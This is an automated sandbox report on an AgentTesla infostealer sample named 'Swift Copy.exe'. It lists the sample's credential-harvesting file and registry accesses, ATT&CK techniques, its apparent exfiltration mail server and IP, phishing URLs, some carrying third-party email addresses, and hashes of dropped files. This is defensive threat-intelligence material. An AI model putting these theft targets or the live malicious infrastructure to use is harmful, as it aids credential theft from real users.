Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Swift Copy.exe	Binary or memory string: WIN_81
Source: Swift Copy.exe	Binary or memory string: WIN_XP
Source: Swift Copy.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: Swift Copy.exe	Binary or memory string: WIN_XPe
Source: Swift Copy.exe	Binary or memory string: WIN_VISTA
Source: Swift Copy.exe	Binary or memory string: WIN_7
Source: Swift Copy.exe	Binary or memory string: WIN_8

Source: Yara match	File source: 0.2.Swift Copy.exe.ee0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1678514155.0000000000EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4137346233.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4142550881.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Swift Copy.exe PID: 1060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2840, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.Swift Copy.exe.ee0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy.exe.ee0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1678514155.0000000000EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4137346233.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4142550881.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Swift Copy.exe PID: 1060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2840, type: MEMORYSTR

Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DF1204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		0_2_00DF1204
Source: C:\Users\user\Desktop\Swift Copy.exe	Code function: 0_2_00DF1806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00DF1806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	221 Input Capture	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Valid Accounts	2 Obfuscated Files or Information	1 Credentials in Registry	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	138 System Information Discovery	Distributed Component Object Model	221 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	2 Valid Accounts	LSA Secrets	331 Security Software Discovery	SSH	4 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	221 Virtualization/Sandbox Evasion	Cached Domain Credentials	221 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Access Token Manipulation	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Swift Copy.exe	65%	ReversingLabs	Win32.Trojan.Strab
Swift Copy.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://api.ipify.org/	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
https://api.ipify.org/t	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://mail.mahesh-ent.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	172.67.74.152	true	false		unknown
mail.mahesh-ent.com	148.66.136.151	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://mail.mahesh-ent.com	RegSvcs.exe, 00000001.00000002.4142550881.0000000003626000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4142550881.0000000003757000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4142550881.0000000003583000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4142550881.000000000335A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4142550881.00000000034AB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4142550881.0000000003710000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4142550881.0000000003394000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4142550881.00000000035BE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org	Swift Copy.exe, 00000000.00000002.1678514155.0000000000EE0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4142550881.0000000003291000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4137346233.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	Swift Copy.exe, 00000000.00000002.1678514155.0000000000EE0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4137346233.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org/t	RegSvcs.exe, 00000001.00000002.4142550881.0000000003291000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000001.00000002.4142550881.0000000003291000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
148.66.136.151	mail.mahesh-ent.com	Singapore		26496	AS-26496-GO-DADDY-COM-LLCUS	true
172.67.74.152	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483051
Start date and time:	2024-07-26 15:10:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Swift Copy.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/4@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 47 Number of non-executed functions: 292
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: Swift Copy.exe

Simulations

Behavior and APIs

Time	Type	Description
09:10:59	API Interceptor	13891369x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
148.66.136.151	DEBIT NOTE.exe	Get hash	malicious	AgentTesla	Browse
	Invoice Copy.exe	Get hash	malicious	AgentTesla	Browse
	Delivery Certificate.exe	Get hash	malicious	AgentTesla	Browse
	invoices Focuson - 1342-000-0062.exe	Get hash	malicious	AgentTesla	Browse
	Scanned Invoice.exe	Get hash	malicious	AgentTesla	Browse
	Revised PO.exe	Get hash	malicious	AgentTesla	Browse
	Arrival Notice.exe	Get hash	malicious	AgentTesla	Browse
	arrival notice.exe	Get hash	malicious	AgentTesla	Browse
	LOADING ADVICE.exe	Get hash	malicious	AgentTesla	Browse
	SOA.exe	Get hash	malicious	AgentTesla	Browse
172.67.74.152	golang-modules.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	SecuriteInfo.com.Trojan.Win64.Agent.14415.19839.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	242764.exe	Get hash	malicious	Ficker Stealer, Rusty Stealer	Browse	api.ipify.org/?format=wef
	K8mzlntJVN.msi	Get hash	malicious	Unknown	Browse	api.ipify.org/
	stub.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	stub.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Sonic-Glyder.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mail.mahesh-ent.com	DEBIT NOTE.exe	Get hash	malicious	AgentTesla	Browse	148.66.136.151
	Invoice Copy.exe	Get hash	malicious	AgentTesla	Browse	148.66.136.151
	Delivery Certificate.exe	Get hash	malicious	AgentTesla	Browse	148.66.136.151
	invoices Focuson - 1342-000-0062.exe	Get hash	malicious	AgentTesla	Browse	148.66.136.151
	Scanned Invoice.exe	Get hash	malicious	AgentTesla	Browse	148.66.136.151
	Revised PO.exe	Get hash	malicious	AgentTesla	Browse	148.66.136.151
	Arrival Notice.exe	Get hash	malicious	AgentTesla	Browse	148.66.136.151
	arrival notice.exe	Get hash	malicious	AgentTesla	Browse	148.66.136.151
	LOADING ADVICE.exe	Get hash	malicious	AgentTesla	Browse	148.66.136.151
	SOA.exe	Get hash	malicious	AgentTesla	Browse	148.66.136.151
api.ipify.org	SecuriteInfo.com.Trojan.PackedNET.738.1574.9831.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	ynhHNexysa.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	2FBexXRCHR.rtf	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	https://pub-bc1e99c17d21413c8c62ead228907d1f.r2.dev/auth_gen.html?folder=inf0gudkij&module&user-agent=Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/86.0.4240.75+Safari/537.36	Get hash	malicious	Greatness Phishing Kit, HTMLPhisher	Browse	104.26.13.205
	https://b14d.lnsd.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	LisectAVT_2403002A_124.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	LisectAVT_2403002A_127.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	LisectAVT_2403002A_133.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	LisectAVT_2403002A_2.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	LisectAVT_2403002A_460.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-26496-GO-DADDY-COM-LLCUS	file.exe	Get hash	malicious	SystemBC	Browse	132.148.72.102
	LisectAVT_2403002A_2.exe	Get hash	malicious	AgentTesla	Browse	182.50.135.77
	LisectAVT_2403002A_59.exe	Get hash	malicious	AgentTesla	Browse	182.50.135.77
	DEBIT NOTE.exe	Get hash	malicious	AgentTesla	Browse	148.66.136.151
	httP://151.28.168.184.host.secureserver.net/documento=24/07/2024/U04cVk3Ovkp..VkcI/6VnUVdvU8k1Oz8c2H4/maud.gaume@gmail.com-282072__;!!P3IToRM6tg!mhHYI3NP1FN47238PV4Ejpyi3ZOkGxwJydSJnD9HyjmCKYq9ZCB_iRj7Oz_yw96WdDsvl9wksR7V4C9z2rZDtUTV_FwEQ6ffgUAMko4$	Get hash	malicious	Unknown	Browse	184.168.28.151
	LisectAVT_2403002B_412.exe	Get hash	malicious	FormBook	Browse	166.62.6.144
	LisectAVT_2403002C_15.exe	Get hash	malicious	AgentTesla	Browse	148.66.145.151
	https://msms.live/index.php	Get hash	malicious	Unknown	Browse	118.139.181.13
	http://www.acproyectosdeingenieria.com	Get hash	malicious	Unknown	Browse	192.169.151.159
	http://www.acproyectosdeingenieria.com	Get hash	malicious	Unknown	Browse	192.169.151.159
CLOUDFLARENETUS	https://olive-hummingbird-763499.hostingersite.com/Onedrive-inboxmessage/onenote.html#asa@aan.pt	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://forms.office.com/Pages/ResponsePage.aspx?id=F0il39lMqEiGOt9WRpZx4wvO-e767m5Jgq527TAyuTxUNFdESUY2VVdIOU5UTDkxN01BVUg0V1dIWi4u	Get hash	malicious	Unknown	Browse	104.18.11.213
	Built.exe	Get hash	malicious	Blank Grabber	Browse	162.159.135.233
	One_Docx 1.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	RFQ#51281AOLAI.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	188.114.96.3
	PRZELEW BANKOWY.xls	Get hash	malicious	Unknown	Browse	172.67.149.169
	https://dcmonetshare.transfernow.net/dl/20240726wXlk6l3q	Get hash	malicious	Unknown	Browse	104.17.25.14
	PRZELEW BANKOWY.xls	Get hash	malicious	Unknown	Browse	104.21.29.191
	DHL Shipment Notification 490104998009.xls	Get hash	malicious	Remcos	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://pendingdelivery864.s3.us-east.cloud-object-storage.appdomain.cloud/%2540%2523%2524%2525%255E%2526%2526()(%2526%2526%255E%255E%2525%2525%2524%2524%2524%2523%2523.html#nogueira@carboclor.com.ar	Get hash	malicious	Unknown	Browse	172.67.74.152
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	172.67.74.152
	Payment Advice__HSBC Banking.pdf.lnk	Get hash	malicious	Remcos	Browse	172.67.74.152
	https://rtntrack.rediff.com/click?url=___https://www.firstpost.com/health/covid-19-puts-kidney-patients-at-high-risk-as-poor-immunity-ill-equipped-dialysis-centres-exposes-patients-to-infection-8627161.html___&service=instasearch&clientip=66.249.79.152&pos=readfullarticle&Ruw=&Rl=&q=&destinationurl=https://My.ha51000.com/.de/c2FsbHkuYmVldHlAcXVpbHRlci5jb20=	Get hash	malicious	Phisher	Browse	172.67.74.152
	http://cursostop10.com.br/adm/rudd/?email=nathalie.petillon@chirec.be	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	172.67.74.152
	SecuriteInfo.com.Trojan.PackedNET.738.1574.9831.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	http://cs9.biz	Get hash	malicious	Unknown	Browse	172.67.74.152
	https://cloudflare-ipfs.com/ipfs/QmZe2ELun5aFwHyi9wE3DpfuUQM8RqExLq66jv64aV8BQd/#info@royaletruckservices.com.au	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	new order 00041221.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.74.152

Process:	C:\Users\user\Desktop\Swift Copy.exe
File Type:	data
Category:	dropped
Size (bytes):	161516
Entropy (8bit):	7.947331554287979
Encrypted:	false
SSDEEP:	3072:KRSNDYd1XPxW2vibJqW9q/HngtfS0eHKfRfdVkoMjTbVxFv4kEcT0wcR:9DiJlvidwvngtfFe8WlTbt0cT0J
MD5:	6CD088661DC4053D8E330E00706C485D
SHA1:	94A616E6FEF50F6C518E47A15B55BA6CBD8114EA
SHA-256:	B1F26744EB52C85A0B860DB114A95BC67016842DAA55A92471927BB39EC9054A
SHA-512:	8D31656EC2028746C1054EA11F57C3F759A3FBD3ECBD8E7DC85DBD483C8886B6FE17D44E0EA46DFCA77425F94862FA4B95401674B56EBCA6922EC56E36756F75
Malicious:	false
Reputation:	low
Preview:	EA06.....C...>.S...nn..U.V.4..Zs1...Z...T.V..J...2..j.`...@.q...(..]r...-..<[)i.O..+..}Z.Mf....]'...y.^.?.J/S.4Z%v.Xdr:...Y../....G).XUn.H.AaUp.\|.4U.m".P.....6.N.t.?.M.Mn`...s..U...%^.Z..H..].M^.R..Wb.Y.l.....\..h..\|... ...p.......S)1Z..G.C.V.A~../..5....{:..j.....fs.d..t..5z.H......@....S..2J..\..G..GF.N.L..O......Vi.k...-...:X..M..j......].D..H..w....@.k...V.W..5N.C.L. .Mb.6..t~.........\|Q...W....9...A..}..g.Q..Vnt......@............v...^~\|.}{......z.rc7.k.>.u.X.V...m..2...=.w..t.F._..%K.q\|..."uR.`.....t..5.........]m..C!...I....Mf....a...W:.6W...{U.\2.y..j7......wr..<....vstp..P..I.2.p.Y...&........t.......F.:.0.A...%` .H........n............i....o.........b..$.I]....L..,.>......u.....+.].....F..{.f.5.R.4:.z.5.A'...r...z.".P...1.f.3t..;...C..{~.8...(.y......8....X..y..L.X.ii.......l.1..q5..Uh..W?.O.3.......2...C..T.?..@t..Z.Q.S.w....V.Wvt..j.J..'3.,.,.._..i...w..ng..V.sZ.Zs5...Z.6.V.W,...^Ch.L......b.U(T.:.?q...3.)....B.*...F..b..D.O......R.

C:\Users\user\AppData\Local\Temp\aut5F53.tmp

Download File

Process:	C:\Users\user\Desktop\Swift Copy.exe
File Type:	data
Category:	dropped
Size (bytes):	9786
Entropy (8bit):	7.633512104066495
Encrypted:	false
SSDEEP:	192:Z6E+bT+X/8ER7PVz6sNiDrFdZMecXWHLNcaWab8YFek7Ce43nwKHpWi:Z6dwXRhNiHBNFee43nwkd
MD5:	F5CAA385F664413AC50BB3044C0A646B
SHA1:	DDECF5D6F4A29AD66D83B08415ACAFB5B9FAE790
SHA-256:	9459EA28DB10DAB8B001200A492CB833F16C8F77EB15A486ECBBFA77F35DC2C2
SHA-512:	AE38D0C80F9B8578D380E7F725F3D3420A84D0754836F85B317CCAD6DEF96D5D21882D2C1FD1518C0E45E4BF4EFF043CAC2C10262C096953007D606B1290276B
Malicious:	false
Reputation:	low
Preview:	EA06..p........f..-.k5.g5.......ue..l....g9...y..oe.Ng..]....I...K........\|.@.o..e.Nl......;.M...<..g.`........5.Z..q<..6.p.o.r..Y......g.<.M..`..Y....N...y.........<.M. ...r.'s....c ....Ad.H.....0.F.3<..Z..6...<.f....&....x..p....Bx.....Y'@0.N,.;,.t...Y.5_..n..... 5_..v.U...5_....U....5_..f.U..&.5\..>3@..N@^.d.Z..q9.z..u9......@.........G.@/Z..g......jx....t.u....$.../.u;...g@G_T.......>_.......zq8..........P..................`.M..`... ...f...@..@.'.7..@{>K,..c..,.p..Yg ._..v....A.>K(#G.e..3\|vi..G.7...8_..qf..i\|vi....f.h.,.@......5..:..-3{M....6`;..;..'.`.L..6...f..+0.ff.Y...9.......f.`.E...Y....3.y............vy.....`.....2p....<d....,vh...$......!+0.'&.....,fu5.Y..Y......r.5.X...c3.<.ki.Y.!...Gf.....,f.<.N. . .#:.....c.`........v.h.s.....,vl...,..t......40.....f.........4..@.6.-..p..S.E..5...S`.N...;8.`..<.......q;.....c....Z&..wx.....vr........E......y6....p.c3.=..7..b.!....F ...B5f...........vt......fvk=.x...B3......;;.X...d....8........g`...Mg..D..f...

C:\Users\user\AppData\Local\Temp\ghauts

Download File

Process:	C:\Users\user\Desktop\Swift Copy.exe
File Type:	data
Category:	dropped
Size (bytes):	242688
Entropy (8bit):	6.844755488606319
Encrypted:	false
SSDEEP:	6144:O4nEDXeOdKqJcpvVHRuKFboPkF4ZyrY8cukW2ZWF25geyU:hEDXeOdKTNuKS8cu/oF5gJU
MD5:	34163538E05B27690C424A2C4A65C54F
SHA1:	419B6AFF7E1BC6E3C98CD98ED901DBDA886A4735
SHA-256:	15BBF52A4DBCBB56EAC1CED4390F1A8A670C2F040E86307F6AE7D69F293F8DAC
SHA-512:	64EF43DFCDC56929C3B2E460AE831F52C756ECB83EC924A9EA9FDD4E2FE9DF58D643E03CEDA9829EEB66AF411E01977C8B228ED1BC983A8B0434B4CC62A048D7
Malicious:	false
Reputation:	low
Preview:	...BYOISURWV.MU.ZYH6V91.NL5SGTTBZOISQRWV2YMUFZYH6V91ANL5SGT.BZOGL.\W.;.l.G..ib>PBa>>Z4559b9.'=>&w4Wy? (z0&..vba##Q6iYYH~OISQRWVb.MU.[ZH...WANL5SGTT.ZMHXPYWV.ZMUNZYH6V9..ML5sGTT.YOIS.RWv2YMWFZ]H6V91ANH5SGTTBZOiWQRUV2YMUFXY..V9!AN\5SGTDBZ_ISQRWV"YMUFZYH6V91%.O5.GTTB.LI.TRWV2YMUFZYH6V91ANL5SCTXBZOISQRWV2YMUFZYH6V91ANL5SGTTBZOISQRWV2YMUFZYH6V91ANl5SOTTBZOISQRWV:yMU.ZYH6V91ANL5}31,6ZOI..QWV.YMU.YYH4V91ANL5SGTTBZOiSQ2y$A+.UFZ.M6V9.BNL3SGT.AZOISQRWV2YMUF.YHvxKT-!/5SKTTBZOMSQPWV2.NUFZYH6V91ANL5.GT.BZOISQRWV2YMUFZY..U91ANL}SGTVB_O..SRCb3YNUFZXH6P91ANL5SGTTBZOISQRWV2YMUFZYH6V91ANL5SGTTBZOISQRWV/....v~+.;#I... .W..\..(..YsL..R..p[......&A..B.@y..^... .R\17.....tUX6Z<.-`F2.O..n.pt2...08.K...Ka.:Rf.f...tt...Z2...."."!!.27$8't.(50 >.0.LUFZY......\+..yAUQ}A)....yG>....G1AN(5SG&TBZ.ISQ.WV26MUF4YH6(91A0L5S.TTB.OISfRWV.YMU+ZYH.V91?NL5.:[[.. ..WV2YM`..i.[....{...b%.$.+k...2....C..G^.Nr....].?..X.8Wq..5XKQCX^L5Z.?....rEPPGXHMP]oY...t.\|....0....=.(BZOISQ.WV.YMU..Y.6V9.A.L..GTT.O.S.R..Y

C:\Users\user\AppData\Local\Temp\nouses

Download File

Process:	C:\Users\user\Desktop\Swift Copy.exe
File Type:	ASCII text, with very long lines (28674), with no line terminators
Category:	dropped
Size (bytes):	28674
Entropy (8bit):	3.5846985612734055
Encrypted:	false
SSDEEP:	768:JxBr6ScFCo3T3iC+vt63YntRUu+nZ+nskm/Qsl2HzpmL5sCWi:Zr6ScFCo3T3i3vt63YntRUu+nZ+nskmj
MD5:	C4BDFCB1D9DA324C392DB3DD5764F5F5
SHA1:	A81B6810C72A5A7A0755426F3F43212DB3157EA2
SHA-256:	3366300DC7921DA2C669E79333FA7183EB774AE32C9EEDC3DC03013243180810
SHA-512:	D22BE095D7DFCBB7048DE050DF49D8447FC54868232E7E3D0C333EA9C4EFD3C5F5A5EF98CC642E7E470FF07E659BF4C7D6373EAE6B3E36FB614DD8792AE5A99C
Malicious:	false
Reputation:	low
